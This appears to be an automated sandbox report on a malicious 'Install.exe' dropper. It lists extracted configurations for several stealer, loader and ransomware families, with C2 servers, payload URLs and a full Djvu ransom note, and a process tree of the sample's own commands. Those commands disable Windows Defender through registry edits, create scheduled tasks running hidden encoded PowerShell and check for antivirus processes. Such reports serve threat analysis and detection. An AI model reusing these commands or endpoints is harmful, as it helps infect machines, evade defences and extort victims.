Analysis
-
max time kernel
609s -
max time network
635s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
-
submitted
03-10-2022 14:52
General
-
Target
Install.exe
-
Size
686.6MB
-
MD5
880c7109a4ffab32d5a7cd316560c94d
-
SHA1
368af163b48e4cadbff0e6d047fdbb478ae5e98a
-
SHA256
00dc6c57001be3ad315b043bad76d4f85a0ceca41d7c04e9ddc8a97868c0f6c7
-
SHA512
88165a8276cbfa716e878bd32b0e577415f63fab739ec4aba70d8ee9a3c6c59b6bbcddb04633f1d40e450af294313f3ba73e80c986cb43dea9f3543b6699a6a6
-
SSDEEP
98304:wIqAG3I68EXaB4rRJFHMJ1ga4Um+BO2giMMHSbewc/l0v:mC2rRJFHMlNmSOliT5l0v
Score
10/10
Malware Config
Extracted
Family
privateloader
C2
http://163.123.143.4/proxies.txt
http://107.182.129.251/server.txt
pastebin.com/raw/A7dSG1te
http://wfsdragon.ru/api/setStats.php
163.123.143.12
http://91.241.19.125/pub.php?pub=one
http://sarfoods.com/index.php
Attributes
-
payload_url
https://vipsofts.xyz/files/mega.bmp
Extracted
Family
nymaim
C2
208.67.104.97
85.31.46.167
Extracted
Family
redline
Botnet
nam6.7
C2
103.89.90.61:34589
Attributes
-
auth_value
28e28fedd782927e1451d4153d874596
Extracted
Family
redline
Botnet
1
C2
79.110.62.196:35726
Attributes
-
auth_value
4b711fa6f9a5187b40500266349c0baf
Extracted
Family
djvu
C2
http://winnlinne.com/lancer/get.php
Attributes
-
extension
.adww
-
offline_id
z8lhl4oForVEc7gy9Ra8rSqjYMl3xiFRuIW4not1
-
payload_url
http://rgyui.top/dl/build2.exe
http://winnlinne.com/files/1/build3.exe
-
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-g28rVcqA58 Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@bestyourmail.ch Reserve e-mail address to contact us: datarestorehelp@airmail.cc Your personal ID: 0573Jhyjd
rsa_pubkey.plain
Extracted
Family
redline
Botnet
Install
C2
69.176.94.78:32244
Attributes
-
auth_value
262df95952285ebeabc4c91774e37776
Extracted
Family
raccoon
Botnet
1a17d9aed7a239440deb75d7a177f406
C2
http://193.38.55.180/
rc4.plain
Extracted
Family
vidar
Version
54.9
Botnet
517
C2
https://t.me/larsenup
https://ioc.exchange/@zebra54
Attributes
-
profile_id
517
Signatures
-
DcRat 26 IoCs
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Detected Djvu ransomware 8 IoCs
-
Detects Smokeloader packer 3 IoCs
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs
-
NyMaim
NyMaim is a malware with various capabilities written in C++ and first seen in 2013.
-
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 3 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
-
Blocklisted process makes network request 2 IoCs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 3 IoCs
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs 1 IoCs
-
UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
VMProtect packed file 6 IoCs
Detects executables packed with VMProtect commercial packer.
-
Checks BIOS information in registry 2 TTPs 5 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 23 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 1 IoCs
-
Loads dropped DLL 45 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unexpected DNS network traffic destination 64 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
-
Uses the VBS compiler for execution 1 TTPs
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses Microsoft Outlook profiles 1 TTPs 45 IoCs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 11 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 1 IoCs
-
Drops Chrome extension 2 IoCs
-
Drops desktop.ini file(s) 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 17 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
-
Suspicious use of SetThreadContext 16 IoCs
-
Drops file in Program Files directory 43 IoCs
-
Drops file in Windows directory 7 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 34 IoCs
-
Checks SCSI registry key(s) 3 TTPs 48 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 48 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 24 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates processes with tasklist 1 TTPs 6 IoCs
-
Enumerates system info in registry 2 TTPs 6 IoCs
-
Kills process with taskkill 3 IoCs
-
Modifies Internet Explorer settings 1 TTPs 4 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 23 IoCs
-
Modifies registry key 1 TTPs 1 IoCs
-
Modifies system certificate store 2 TTPs 2 IoCs
-
Runs ping.exe 1 TTPs 4 IoCs
-
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 4 IoCs
-
Suspicious behavior: MapViewOfSection 12 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 46 IoCs
-
Suspicious use of SendNotifyMessage 10 IoCs
-
Suspicious use of SetWindowsHookEx 6 IoCs
-
Suspicious use of UnmapMainImage 1 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
outlook_office_path 1 IoCs
-
outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"1⤵
- DcRat
- Checks computer location settings
- Drops file in System32 directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Pictures\Minor Policy\_sCNwjOkHQX3sqbn0nDiP1_8.exe"C:\Users\Admin\Pictures\Minor Policy\_sCNwjOkHQX3sqbn0nDiP1_8.exe"2⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4368 -s 4763⤵
- Program crash
-
C:\Users\Admin\Pictures\Minor Policy\2Uvl9dPxlz3iTlaHKD4Wdy9z.exe"C:\Users\Admin\Pictures\Minor Policy\2Uvl9dPxlz3iTlaHKD4Wdy9z.exe"2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Minor Policy\a8NMnczZkL2CUSjqaMXkJJ2r.exe"C:\Users\Admin\Pictures\Minor Policy\a8NMnczZkL2CUSjqaMXkJJ2r.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXEC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==4⤵
-
C:\Users\Admin\AppData\Local\Temp\Vvaibxippcifamuqjwcoachdatabase_s.exe"C:\Users\Admin\AppData\Local\Temp\Vvaibxippcifamuqjwcoachdatabase_s.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA==5⤵
-
C:\Users\Admin\AppData\Local\Temp\Vvaibxippcifamuqjwcoachdatabase_s.exeC:\Users\Admin\AppData\Local\Temp\Vvaibxippcifamuqjwcoachdatabase_s.exe5⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXEC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE4⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Minor Policy\iXfcIlAd3ZJGrv14imIIIMcq.exe"C:\Users\Admin\Pictures\Minor Policy\iXfcIlAd3ZJGrv14imIIIMcq.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS52ED.tmp\Install.exe.\Install.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS76D1.tmp\Install.exe.\Install.exe /S /site_id "525403"4⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks computer location settings
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"5⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&6⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:327⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:647⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"5⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&6⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:327⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:647⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gefCKfozy" /SC once /ST 06:05:52 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="5⤵
- DcRat
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gefCKfozy"5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gefCKfozy"5⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bGZpGlqvDNKjraWjlZ" /SC once /ST 17:00:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\fnHxZhZ.exe\" d8 /site_id 525403 /S" /V1 /F5⤵
- DcRat
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "bGZpGlqvDNKjraWjlZ"5⤵
-
C:\Users\Admin\Pictures\Minor Policy\Wcv2ElQhsJitXreqtUgzPNuT.exe"C:\Users\Admin\Pictures\Minor Policy\Wcv2ElQhsJitXreqtUgzPNuT.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 4563⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 7683⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 7763⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 7803⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 8603⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 9843⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 10283⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 13683⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\uo8K6Q7L380H\Cleaner.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\uo8K6Q7L380H\Cleaner.exe"C:\Users\Admin\AppData\Local\Temp\uo8K6Q7L380H\Cleaner.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 13683⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1380 -s 17123⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Wcv2ElQhsJitXreqtUgzPNuT.exe" /f & erase "C:\Users\Admin\Pictures\Minor Policy\Wcv2ElQhsJitXreqtUgzPNuT.exe" & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Wcv2ElQhsJitXreqtUgzPNuT.exe" /f4⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Minor Policy\j91KjEiBGKY34pjHLHBViYoO.exe"C:\Users\Admin\Pictures\Minor Policy\j91KjEiBGKY34pjHLHBViYoO.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\l18rjsLVFj3dRcfu912qdPGv.exe"C:\Users\Admin\Documents\l18rjsLVFj3dRcfu912qdPGv.exe"3⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Pictures\Adobe Films\LDiYCdAhInSJ0aNbigPm3Fzi.exe"C:\Users\Admin\Pictures\Adobe Films\LDiYCdAhInSJ0aNbigPm3Fzi.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\at.exeat 3874982763784yhwgdfg78234789s42809374918uf5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Row.potx & ping -n 5 localhost5⤵
-
C:\Windows\SysWOW64\cmd.execmd6⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq AvastUI.exe"7⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /I /N "avastui.exe"7⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq AVGUI.exe"7⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /I /N "avgui.exe"7⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^WQlKwgWhizJI$" Admit.potx7⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sink.exe.pifSink.exe.pif w7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sink.exe.pifC:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sink.exe.pif8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 5 localhost6⤵
- Runs ping.exe
-
C:\Users\Admin\Pictures\Adobe Films\I82rhBHO3x_j8ZDxihh0c8sM.exe"C:\Users\Admin\Pictures\Adobe Films\I82rhBHO3x_j8ZDxihh0c8sM.exe"4⤵
- Executes dropped EXE
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell "" "Get-WmiObject Win32_PortConnector"5⤵
-
C:\Users\Admin\Pictures\Adobe Films\J4V9e4WqLq6X0oCyND5s66La.exe"C:\Users\Admin\Pictures\Adobe Films\J4V9e4WqLq6X0oCyND5s66La.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\J4V9e4WqLq6X0oCyND5s66La.exe"C:\Users\Admin\Pictures\Adobe Films\J4V9e4WqLq6X0oCyND5s66La.exe" -q5⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\9gZquTWtkZ4wBPbpW6p1XP48.exe"C:\Users\Admin\Pictures\Adobe Films\9gZquTWtkZ4wBPbpW6p1XP48.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\0BYRGT.cPL",5⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\0BYRGT.cPL",6⤵
- Loads dropped DLL
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\0BYRGT.cPL",7⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\0BYRGT.cPL",8⤵
- Loads dropped DLL
-
C:\Users\Admin\Pictures\Adobe Films\bFIXPvhCOme9VTC0ckq50R_b.exe"C:\Users\Admin\Pictures\Adobe Films\bFIXPvhCOme9VTC0ckq50R_b.exe"4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 4605⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 7765⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 7965⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 7965⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 8565⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 8565⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 7885⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 13805⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\lWUaeqLwj9SmQdjJwre1erdOq3284\Cleaner.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\lWUaeqLwj9SmQdjJwre1erdOq3284\Cleaner.exe"C:\Users\Admin\AppData\Local\Temp\lWUaeqLwj9SmQdjJwre1erdOq3284\Cleaner.exe"6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 13925⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1188 -s 12445⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "bFIXPvhCOme9VTC0ckq50R_b.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\bFIXPvhCOme9VTC0ckq50R_b.exe" & exit5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "bFIXPvhCOme9VTC0ckq50R_b.exe" /f6⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\jTExQ1H76x8oxrucs4d70np7.exe"C:\Users\Admin\Pictures\Adobe Films\jTExQ1H76x8oxrucs4d70np7.exe"4⤵
- Executes dropped EXE
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2040 -s 4245⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\Vkag8Yt37EtknTb0h0nWJm2M.exe"C:\Users\Admin\Pictures\Adobe Films\Vkag8Yt37EtknTb0h0nWJm2M.exe"4⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\at.exeat 3874982763784yhwgdfg78234789s42809374918uf5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c cmd < Film.aspx & ping -n 5 localhost5⤵
-
C:\Windows\SysWOW64\cmd.execmd6⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq AvastUI.exe"7⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /I /N "avastui.exe"7⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist /FI "imagename eq AVGUI.exe"7⤵
- Enumerates processes with tasklist
-
C:\Windows\SysWOW64\find.exefind /I /N "avgui.exe"7⤵
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^otPcqYaF$" Deliver.aspx7⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Tanks.exe.pifTanks.exe.pif A7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Tanks.exe.pifC:\Users\Admin\AppData\Local\Temp\IXP002.TMP\Tanks.exe.pif8⤵
-
C:\Windows\SysWOW64\PING.EXEping -n 5 localhost6⤵
- Runs ping.exe
-
C:\Users\Admin\Pictures\Adobe Films\nin8SkbUWLXozgcTnEwynY6y.exe"C:\Users\Admin\Pictures\Adobe Films\nin8SkbUWLXozgcTnEwynY6y.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\u6iMmZ88_20Ph2dQEuiM4vzi.exe"C:\Users\Admin\Pictures\Adobe Films\u6iMmZ88_20Ph2dQEuiM4vzi.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1376 -s 3445⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\fljPY9XGj0dgkRoNu5KISNJB.exe"C:\Users\Admin\Pictures\Adobe Films\fljPY9XGj0dgkRoNu5KISNJB.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /pid=7474⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-KGOSI.tmp\fljPY9XGj0dgkRoNu5KISNJB.tmp"C:\Users\Admin\AppData\Local\Temp\is-KGOSI.tmp\fljPY9XGj0dgkRoNu5KISNJB.tmp" /SL5="$C005E,11860388,791040,C:\Users\Admin\Pictures\Adobe Films\fljPY9XGj0dgkRoNu5KISNJB.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /pid=7475⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\System32\taskkill.exe" /f /im Adblock.exe6⤵
- Kills process with taskkill
-
C:\Windows\system32\cmd.exe"cmd.exe" /c "reg copy HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /s /f"6⤵
-
C:\Windows\system32\reg.exereg copy HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\{bf5b0da9-8494-48d2-811b-39ea7a64d8e0}_is1 /s /f7⤵
-
C:\Users\Admin\Programs\Adblock\Adblock.exe"C:\Users\Admin\Programs\Adblock\Adblock.exe" --installerSessionId=9be0bf4d1664816344 --downloadDate=2022-10-03T16:57:11 --distId=marketator --pid=7476⤵
- Executes dropped EXE
- Checks computer location settings
- Drops startup file
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Programs\Adblock\crashpad_handler.exeC:\Users\Admin\Programs\Adblock\crashpad_handler.exe --no-rate-limit "--database=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps" "--metrics-dir=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps" --url=https://o428832.ingest.sentry.io:443/api/5420194/minidump/?sentry_client=sentry.native/0.4.12&sentry_key=06798e99d7ee416faaf4e01cd2f1faaf "--attachment=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps\648277a2-2df8-4d95-0505-8cb4f14ccc14.run\__sentry-event" "--attachment=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps\648277a2-2df8-4d95-0505-8cb4f14ccc14.run\__sentry-breadcrumb1" "--attachment=C:\Users\Admin\AppData\Roaming\Adblock Fast\crashdumps\648277a2-2df8-4d95-0505-8cb4f14ccc14.run\__sentry-breadcrumb2" --initial-client-data=0x4a0,0x4a4,0x4a8,0x47c,0x4ac,0x7ff6ec78bc80,0x7ff6ec78bca0,0x7ff6ec78bcb87⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Update-623edf62-b8b2-4ce1-9ee1-6c28535a9558\AdblockInstaller.exe"C:\Users\Admin\AppData\Local\Temp\Update-623edf62-b8b2-4ce1-9ee1-6c28535a9558\AdblockInstaller.exe" /SP- /VERYSILENT /NOICONS /SUPPRESSMSGBOXES /UPDATE7⤵
- Executes dropped EXE
-
